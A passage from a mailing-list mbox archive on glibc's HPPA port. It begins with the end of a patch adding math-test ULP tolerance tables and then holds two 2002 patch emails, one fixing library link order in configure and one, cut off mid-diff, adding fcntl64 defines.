+float: 4
+ifloat: 4
+
+# catanh
+Test "Real part of: catanh (-2 - 3 i) == -0.14694666622552975204743278515471595 - 1.3389725222944935611241935759091443 i":
+double: 4
+idouble: 4
+Test "Imaginary part of: catanh (-2 - 3 i) == -0.14694666622552975204743278515471595 - 1.3389725222944935611241935759091443 i":
+float: 4
+ifloat: 4
+Test "Real part of: catanh (0.75 + 1.25 i) == 0.261492138795671927078652057366532140 + 0.996825126463918666098902241310446708 i":
+double: 1
+idouble: 1
+Test "Imaginary part of: catanh (0.75 + 1.25 i) == 0.261492138795671927078652057366532140 + 0.996825126463918666098902241310446708 i":
+float: 6
+ifloat: 6
+
+# cbrt
+Test "cbrt (-27.0) == -3.0":
+double: 1
+idouble: 1
+Test "cbrt (0.75) == 0.908560296416069829445605878163630251":
+double: 1
+idouble: 1
+Test "cbrt (0.9921875) == 0.997389022060725270579075195353955217":
+double: 1
+idouble: 1
+
+# ccos
+Test "Imaginary part of: ccos (-2 - 3 i) == -4.1896256909688072301 - 9.1092278937553365979 i":
+float: 1
+ifloat: 1
+Test "Real part of: ccos (0.75 + 1.25 i) == 1.38173873063425888530729933139078645 - 1.09193013555397466170919531722024128 i":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "Imaginary part of: ccos (0.75 + 1.25 i) == 1.38173873063425888530729933139078645 - 1.09193013555397466170919531722024128 i":
+float: 1
+ifloat: 1
+
+# ccosh
+Test "Real part of: ccosh (-2 - 3 i) == -3.7245455049153225654 + 0.5118225699873846088 i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: ccosh (-2 - 3 i) == -3.7245455049153225654 + 0.5118225699873846088 i":
+float: 1
+ifloat: 1
+Test "Real part of: ccosh (0.75 + 1.25 i) == 0.408242591877968807788852146397499084 + 0.780365930845853240391326216300863152 i":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "Imaginary part of: ccosh (0.75 + 1.25 i) == 0.408242591877968807788852146397499084 + 0.780365930845853240391326216300863152 i":
+float: 1
+ifloat: 1
+
+# cexp
+Test "Imaginary part of: cexp (-2.0 - 3.0 i) == -0.13398091492954261346140525546115575 - 0.019098516261135196432576240858800925 i":
+float: 1
+ifloat: 1
+Test "Real part of: cexp (0.75 + 1.25 i) == 0.667537446429131586942201977015932112 + 2.00900045494094876258347228145863909 i":
+float: 1
+ifloat: 1
+
+# clog
+Test "Imaginary part of: clog (-2 - 3 i) == 1.2824746787307683680267437207826593 - 2.1587989303424641704769327722648368 i":
+float: 3
+ifloat: 3
+Test "Real part of: clog (0.75 + 1.25 i) == 0.376885901188190075998919126749298416 + 1.03037682652431246378774332703115153 i":
+float: 1
+ifloat: 1
+
+# clog10
+Test "Imaginary part of: clog10 (-0 + inf i) == inf + pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-0 - inf i) == inf - pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-2 - 3 i) == 0.5569716761534183846 - 0.9375544629863747085 i":
+double: 1
+float: 5
+idouble: 1
+ifloat: 5
+Test "Imaginary part of: clog10 (-3 + inf i) == inf + pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-3 - inf i) == inf - pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-inf + 0 i) == inf + pi*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-inf + 1 i) == inf + pi*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-inf - 0 i) == inf - pi*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (-inf - 1 i) == inf - pi*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (0 + inf i) == inf + pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (0 - inf i) == inf - pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Real part of: clog10 (0.75 + 1.25 i) == 0.163679467193165171449476605077428975 + 0.447486970040493067069984724340855636 i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (3 + inf i) == inf + pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (3 - inf i) == inf - pi/2*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (inf + inf i) == inf + pi/4*log10(e) i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: clog10 (inf - inf i) == inf - pi/4*log10(e) i":
+float: 1
+ifloat: 1
+
+# cos
+Test "cos (M_PI_6l * 2.0) == 0.5":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "cos (M_PI_6l * 4.0) == -0.5":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "cos (pi/2) == 0":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+# cpow
+Test "Real part of: cpow (0.75 + 1.25 i, 0.0 + 1.0 i) == 0.331825439177608832276067945276730566 + 0.131338600281188544930936345230903032 i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: cpow (0.75 + 1.25 i, 0.0 + 1.0 i) == 0.331825439177608832276067945276730566 + 0.131338600281188544930936345230903032 i":
+float: 1
+ifloat: 1
+Test "Real part of: cpow (0.75 + 1.25 i, 0.75 + 1.25 i) == 0.117506293914473555420279832210420483 + 0.346552747708338676483025352060418001 i":
+double: 1
+float: 4
+idouble: 1
+ifloat: 4
+Test "Real part of: cpow (0.75 + 1.25 i, 1.0 + 1.0 i) == 0.0846958290317209430433805274189191353 + 0.513285749182902449043287190519090481 i":
+double: 2
+float: 3
+idouble: 2
+ifloat: 3
+Test "Real part of: cpow (2 + 3 i, 4 + 0 i) == -119.0 - 120.0 i":
+double: 1
+float: 4
+idouble: 1
+ifloat: 4
+Test "Imaginary part of: cpow (2 + 3 i, 4 + 0 i) == -119.0 - 120.0 i":
+float: 2
+ifloat: 2
+Test "Imaginary part of: cpow (e + 0 i, 0 + 2 * M_PIl i) == 1.0 + 0.0 i":
+double: 2
+float: 2
+idouble: 2
+ifloat: 2
+
+# csinh
+Test "Imaginary part of: csinh (-2 - 3 i) == 3.5905645899857799520 - 0.5309210862485198052 i":
+double: 1
+idouble: 1
+Test "Real part of: csinh (0.75 + 1.25 i) == 0.259294854551162779153349830618433028 + 1.22863452409509552219214606515777594 i":
+float: 1
+ifloat: 1
+Test "Imaginary part of: csinh (0.75 + 1.25 i) == 0.259294854551162779153349830618433028 + 1.22863452409509552219214606515777594 i":
+float: 1
+ifloat: 1
+
+# csqrt
+Test "Real part of: csqrt (-2 + 3 i) == 0.89597747612983812471573375529004348 + 1.6741492280355400404480393008490519 i":
+float: 1
+ifloat: 1
+Test "Real part of: csqrt (-2 - 3 i) == 0.89597747612983812471573375529004348 - 1.6741492280355400404480393008490519 i":
+float: 1
+ifloat: 1
+
+# ctan
+Test "Real part of: ctan (-2 - 3 i) == 0.0037640256415042482 - 1.0032386273536098014 i":
+double: 1
+idouble: 1
+Test "Imaginary part of: ctan (0.75 + 1.25 i) == 0.160807785916206426725166058173438663 + 0.975363285031235646193581759755216379 i":
+double: 1
+idouble: 1
+
+# ctanh
+Test "Real part of: ctanh (-2 - 3 i) == -0.9653858790221331242 + 0.0098843750383224937 i":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+Test "Imaginary part of: ctanh (0 + pi/4 i) == 0.0 + 1.0 i":
+float: 1
+ifloat: 1
+Test "Real part of: ctanh (0.75 + 1.25 i) == 1.37260757053378320258048606571226857 + 0.385795952609750664177596760720790220 i":
+double: 1
+idouble: 1
+
+# erf
+Test "erf (1.25) == 0.922900128256458230136523481197281140":
+double: 1
+idouble: 1
+
+# erfc
+Test "erfc (2.0) == 0.00467773498104726583793074363274707139":
+double: 1
+idouble: 1
+Test "erfc (4.125) == 0.542340079956506600531223408575531062e-8":
+double: 1
+idouble: 1
+
+# exp10
+Test "exp10 (-1) == 0.1":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "exp10 (0.75) == 5.62341325190349080394951039776481231":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "exp10 (3) == 1000":
+double: 6
+float: 2
+idouble: 6
+ifloat: 2
+
+# expm1
+Test "expm1 (0.75) == 1.11700001661267466854536981983709561":
+double: 1
+idouble: 1
+Test "expm1 (1) == M_El - 1.0":
+float: 1
+ifloat: 1
+
+# hypot
+Test "hypot (-0.7, -12.4) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (-0.7, 12.4) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (-12.4, -0.7) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (-12.4, 0.7) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (0.7, -12.4) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (0.7, 12.4) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (12.4, -0.7) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+Test "hypot (12.4, 0.7) == 12.419742348374220601176836866763271":
+float: 1
+ifloat: 1
+
+# j0
+Test "j0 (-4.0) == -3.9714980986384737228659076845169804197562E-1":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "j0 (0.75) == 0.864242275166648623555731103820923211":
+float: 1
+ifloat: 1
+Test "j0 (10.0) == -0.245935764451348335197760862485328754":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "j0 (2.0) == 0.223890779141235668051827454649948626":
+float: 2
+ifloat: 2
+Test "j0 (4.0) == -3.9714980986384737228659076845169804197562E-1":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "j0 (8.0) == 0.171650807137553906090869407851972001":
+float: 1
+ifloat: 1
+
+# j1
+Test "j1 (10.0) == 0.0434727461688614366697487680258592883":
+float: 2
+ifloat: 2
+Test "j1 (2.0) == 0.576724807756873387202448242269137087":
+double: 1
+idouble: 1
+Test "j1 (8.0) == 0.234636346853914624381276651590454612":
+double: 1
+idouble: 1
+
+# jn
+Test "jn (0, -4.0) == -3.9714980986384737228659076845169804197562E-1":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (0, 0.75) == 0.864242275166648623555731103820923211":
+float: 1
+ifloat: 1
+Test "jn (0, 10.0) == -0.245935764451348335197760862485328754":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "jn (0, 2.0) == 0.223890779141235668051827454649948626":
+float: 2
+ifloat: 2
+Test "jn (0, 4.0) == -3.9714980986384737228659076845169804197562E-1":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (0, 8.0) == 0.171650807137553906090869407851972001":
+float: 1
+ifloat: 1
+Test "jn (1, 10.0) == 0.0434727461688614366697487680258592883":
+float: 2
+ifloat: 2
+Test "jn (1, 2.0) == 0.576724807756873387202448242269137087":
+double: 1
+idouble: 1
+Test "jn (1, 8.0) == 0.234636346853914624381276651590454612":
+double: 1
+idouble: 1
+Test "jn (10, 0.125) == 0.250543369809369890173993791865771547e-18":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (10, 0.75) == 0.149621713117596814698712483621682835e-10":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (10, 10.0) == 0.207486106633358857697278723518753428":
+double: 4
+float: 3
+idouble: 4
+ifloat: 3
+Test "jn (10, 2.0) == 0.251538628271673670963516093751820639e-6":
+float: 4
+ifloat: 4
+Test "jn (3, 0.125) == 0.406503832554912875023029337653442868e-4":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (3, 0.75) == 0.848438342327410884392755236884386804e-2":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "jn (3, 10.0) == 0.0583793793051868123429354784103409563":
+double: 3
+float: 1
+idouble: 3
+ifloat: 1
+Test "jn (3, 2.0) == 0.128943249474402051098793332969239835":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+# lgamma
+Test "lgamma (0.7) == 0.26086724653166651439":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "lgamma (1.2) == -0.853740900033158497197e-1":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+# log10
+Test "log10 (0.75) == -0.124938736608299953132449886193870744":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+Test "log10 (e) == log10(e)":
+float: 1
+ifloat: 1
+
+# log1p
+Test "log1p (-0.25) == -0.287682072451780927439219005993827432":
+float: 1
+ifloat: 1
+
+# sincos
+Test "sincos (M_PI_6l*2.0, &sin_res, &cos_res) puts 0.5 in cos_res":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "sincos (M_PI_6l*2.0, &sin_res, &cos_res) puts 0.86602540378443864676372317075293616 in sin_res":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "sincos (pi/2, &sin_res, &cos_res) puts 0 in cos_res":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "sincos (pi/6, &sin_res, &cos_res) puts 0.86602540378443864676372317075293616 in cos_res":
+float: 1
+ifloat: 1
+
+# tan
+Test "tan (pi/4) == 1":
+double: 1
+idouble: 1
+
+# tgamma
+Test "tgamma (-0.5) == -2 sqrt (pi)":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "tgamma (0.5) == sqrt (pi)":
+float: 1
+ifloat: 1
+Test "tgamma (0.7) == 1.29805533264755778568":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+# y0
+Test "y0 (1.0) == 0.0882569642156769579829267660235151628":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "y0 (1.5) == 0.382448923797758843955068554978089862":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "y0 (10.0) == 0.0556711672835993914244598774101900481":
+float: 1
+ifloat: 1
+Test "y0 (8.0) == 0.223521489387566220527323400498620359":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+# y1
+Test "y1 (0.125) == -5.19993611253477499595928744876579921":
+double: 1
+idouble: 1
+Test "y1 (1.5) == -0.412308626973911295952829820633445323":
+float: 1
+ifloat: 1
+Test "y1 (10.0) == 0.249015424206953883923283474663222803":
+double: 3
+float: 1
+idouble: 3
+ifloat: 1
+Test "y1 (2.0) == -0.107032431540937546888370772277476637":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "y1 (8.0) == -0.158060461731247494255555266187483550":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+# yn
+Test "yn (0, 1.0) == 0.0882569642156769579829267660235151628":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "yn (0, 1.5) == 0.382448923797758843955068554978089862":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+Test "yn (0, 10.0) == 0.0556711672835993914244598774101900481":
+float: 1
+ifloat: 1
+Test "yn (0, 8.0) == 0.223521489387566220527323400498620359":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (1, 0.125) == -5.19993611253477499595928744876579921":
+double: 1
+idouble: 1
+Test "yn (1, 1.5) == -0.412308626973911295952829820633445323":
+float: 1
+ifloat: 1
+Test "yn (1, 10.0) == 0.249015424206953883923283474663222803":
+double: 3
+float: 1
+idouble: 3
+ifloat: 1
+Test "yn (1, 2.0) == -0.107032431540937546888370772277476637":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (1, 8.0) == -0.158060461731247494255555266187483550":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+Test "yn (10, 0.125) == -127057845771019398.252538486899753195":
+double: 1
+idouble: 1
+Test "yn (10, 0.75) == -2133501638.90573424452445412893839236":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (10, 1.0) == -121618014.278689189288130426667971145":
+double: 1
+idouble: 1
+Test "yn (10, 10.0) == -0.359814152183402722051986577343560609":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (10, 2.0) == -129184.542208039282635913145923304214":
+double: 2
+idouble: 2
+Test "yn (3, 0.125) == -2612.69757350066712600220955744091741":
+double: 1
+idouble: 1
+Test "yn (3, 0.75) == -12.9877176234475433186319774484809207":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (3, 10.0) == -0.251362657183837329779204747654240998":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+Test "yn (3, 2.0) == -1.12778377684042778608158395773179238":
+double: 1
+idouble: 1
+
+# Maximal error of functions:
+Function: "atan2":
+float: 3
+ifloat: 3
+
+Function: "atanh":
+float: 1
+ifloat: 1
+
+Function: Real part of "cacosh":
+double: 1
+float: 7
+idouble: 1
+ifloat: 7
+
+Function: Imaginary part of "cacosh":
+double: 1
+float: 3
+idouble: 1
+ifloat: 3
+
+Function: Real part of "casin":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: Real part of "casinh":
+double: 5
+float: 1
+idouble: 5
+ifloat: 1
+
+Function: Imaginary part of "casinh":
+double: 3
+float: 6
+idouble: 3
+ifloat: 6
+
+Function: Real part of "catan":
+float: 4
+ifloat: 4
+
+Function: Imaginary part of "catan":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: Real part of "catanh":
+double: 4
+idouble: 4
+
+Function: Imaginary part of "catanh":
+float: 6
+ifloat: 6
+
+Function: "cbrt":
+double: 1
+idouble: 1
+
+Function: Real part of "ccos":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: Imaginary part of "ccos":
+float: 1
+ifloat: 1
+
+Function: Real part of "ccosh":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: Imaginary part of "ccosh":
+float: 1
+ifloat: 1
+
+Function: Real part of "cexp":
+float: 1
+ifloat: 1
+
+Function: Imaginary part of "cexp":
+float: 1
+ifloat: 1
+
+Function: Real part of "clog":
+float: 1
+ifloat: 1
+
+Function: Imaginary part of "clog":
+float: 3
+ifloat: 3
+
+Function: Real part of "clog10":
+float: 1
+ifloat: 1
+
+Function: Imaginary part of "clog10":
+double: 1
+float: 5
+idouble: 1
+ifloat: 5
+
+Function: "cos":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+
+Function: Real part of "cpow":
+double: 2
+float: 4
+idouble: 2
+ifloat: 4
+
+Function: Imaginary part of "cpow":
+double: 2
+float: 2
+idouble: 2
+ifloat: 2
+
+Function: Real part of "csinh":
+float: 1
+ifloat: 1
+
+Function: Imaginary part of "csinh":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: Real part of "csqrt":
+float: 1
+ifloat: 1
+
+Function: Real part of "ctan":
+double: 1
+idouble: 1
+
+Function: Imaginary part of "ctan":
+double: 1
+idouble: 1
+
+Function: Real part of "ctanh":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+Function: Imaginary part of "ctanh":
+float: 1
+ifloat: 1
+
+Function: "erf":
+double: 1
+idouble: 1
+
+Function: "erfc":
+double: 1
+idouble: 1
+
+Function: "exp10":
+double: 6
+float: 2
+idouble: 6
+ifloat: 2
+
+Function: "expm1":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: "hypot":
+float: 1
+ifloat: 1
+
+Function: "j0":
+double: 2
+float: 2
+idouble: 2
+ifloat: 2
+
+Function: "j1":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+Function: "jn":
+double: 4
+float: 4
+idouble: 4
+ifloat: 4
+
+Function: "lgamma":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+Function: "log10":
+double: 1
+float: 2
+idouble: 1
+ifloat: 2
+
+Function: "log1p":
+float: 1
+ifloat: 1
+
+Function: "sincos":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: "tan":
+double: 1
+idouble: 1
+
+Function: "tgamma":
+double: 1
+float: 1
+idouble: 1
+ifloat: 1
+
+Function: "y0":
+double: 2
+float: 1
+idouble: 2
+ifloat: 1
+
+Function: "y1":
+double: 3
+float: 2
+idouble: 3
+ifloat: 2
+
+Function: "yn":
+double: 3
+float: 2
+idouble: 3
+ifloat: 2
+
+# end of automatic generation

--edESjMboOAwUFn6i--


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] top-level configure changes for HPPA
Date: Tue, 19 Nov 2002 01:36:20 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <20021119063620.GK12451__7931.97338139198$1416621949$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0VNbQffo0Gc48lc+"
X-Trace: ger.gmane.org 1416621949 17387 80.91.229.3 (22 Nov 2014 02:05:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:49 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:36:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 032104829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:36:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1zg-0007Qf-00; Tue, 19 Nov 2002 01:36:20 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16867

--0VNbQffo0Gc48lc+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-aplha,

When checking for DWARF2 unwind info the link order for 
hppa requires -lgcc_eh to be placed before -lgcc.

Change tested on i386 and nothing broke.

c.

---

2002-11-16  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* configure.in: Change "-lgcc -lgcc_eh" to "-lgcc_eh -lgcc" to
	accomodate required hppa linking order.
	* configure: Regenerate.


--0VNbQffo0Gc48lc+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=12-glibc23-hppa-configure

--- glibc-2.3.1/configure	2002-11-16 22:55:16.000000000 +0000
+++ glibc-2.3.1/configure	2002-11-16 22:58:08.000000000 +0000
@@ -5221,14 +5221,14 @@
 fi
 if { ac_try='${CC-cc} $CFLAGS -DCHECK__register_frame_info
                             -nostdlib -nostartfiles
-                            -o conftest conftest.c -lgcc -lgcc_eh >&5'
+                            -o conftest conftest.c -lgcc_eh -lgcc >&5'
   { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
   (eval $ac_try) 2>&5
   ac_status=$?
   echo "$as_me:$LINENO: \$? = $ac_status" >&5
   (exit $ac_status); }; }; then
   if ${CC-cc} $CFLAGS -DCHECK__register_frame_info -nostdlib -nostartfiles \
-     -o conftest conftest.c -lgcc -lgcc_eh -v 2>&1 >/dev/null \
+     -o conftest conftest.c -lgcc_eh -lgcc -v 2>&1 >/dev/null \
      | grep -q -- --eh-frame-hdr; then
     libc_cv_gcc_dwarf2_unwind_info=no_registry_needed
   else
--- glibc-2.3.1/configure.in	2002-11-16 22:55:16.000000000 +0000
+++ glibc-2.3.1/configure.in	2002-11-16 22:58:28.000000000 +0000
@@ -1565,9 +1565,9 @@
 fi
 if AC_TRY_COMMAND([${CC-cc} $CFLAGS -DCHECK__register_frame_info
                             -nostdlib -nostartfiles
-                            -o conftest conftest.c -lgcc -lgcc_eh >&AS_MESSAGE_LOG_FD]); then
+                            -o conftest conftest.c -lgcc_eh -lgcc >&AS_MESSAGE_LOG_FD]); then
   if ${CC-cc} $CFLAGS -DCHECK__register_frame_info -nostdlib -nostartfiles \
-     -o conftest conftest.c -lgcc -lgcc_eh -v 2>&1 >/dev/null \
+     -o conftest conftest.c -lgcc_eh -lgcc -v 2>&1 >/dev/null \
      | grep -q -- --eh-frame-hdr; then
     libc_cv_gcc_dwarf2_unwind_info=no_registry_needed
   else

--0VNbQffo0Gc48lc+--


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix (for real this time) fcntl64 on HPPA
Date: Tue, 19 Nov 2002 02:13:07 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <20021119071307.GL12451__16124.8027383865$1416621949$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="s8uQA167RD2xhjBe"
X-Trace: ger.gmane.org 1416621949 17389 80.91.229.3 (22 Nov 2014 02:05:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:49 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 19 00:13:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1657A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Nov 2002 00:13:39 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E2ZH-0001tZ-00; Tue, 19 Nov 2002 02:13:07 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16868

--s8uQA167RD2xhjBe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

The following changes adds a few defines so __USE_FILE_OFFSET64
works properly on hppa.

I fixed the changelog and the bug in the original patch.
Tested with samba + LFS support.

c.

 sysdeps/unix/sysv/linux/hppa/bits/fcntl.h |    6 ++++++
 sysdeps/unix/sysv/linux/hppa/fcntl.c      |    1 +
 2 files changed, 7 insertions(+)

---

2002-10-01  Randolph Chung  <tausq@debian.org>

        * sysdeps/unix/sysv/linux/hppa/fcntl.c:
        Include sysdeps/unix/sysv/linux/i386/fcntl.c
        * sysdeps/unix/sysv/linux/hppa/bits/fcntl.h:
        Change defines when using __USE_FILE_OFFSET64


--s8uQA167RD2xhjBe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=08-glibc23-hppa-fcntl64

--- glibc/sysdeps/unix/sysv/linux/hppa/fcntl.c	2002-09-10 20:58:07.000000000 -0700
+++ glibc/sysdeps/unix/sysv/linux/hppa/fcntl.c	2002-09-10 20:58:07.000000000 -0700
@@ -0,0 +1 @@
+#include <sysdeps/unix/sysv/linux/i386/fcntl.c>
--- glibc/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2002-09-12 10:31:56.000000000 -0700
+++ glibc/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2002-09-12 23:43:14.000000000 -0700
@@ -63,9 +63,15 @@
 #define F_SETFD		2	/* Set file descriptor flags.  */
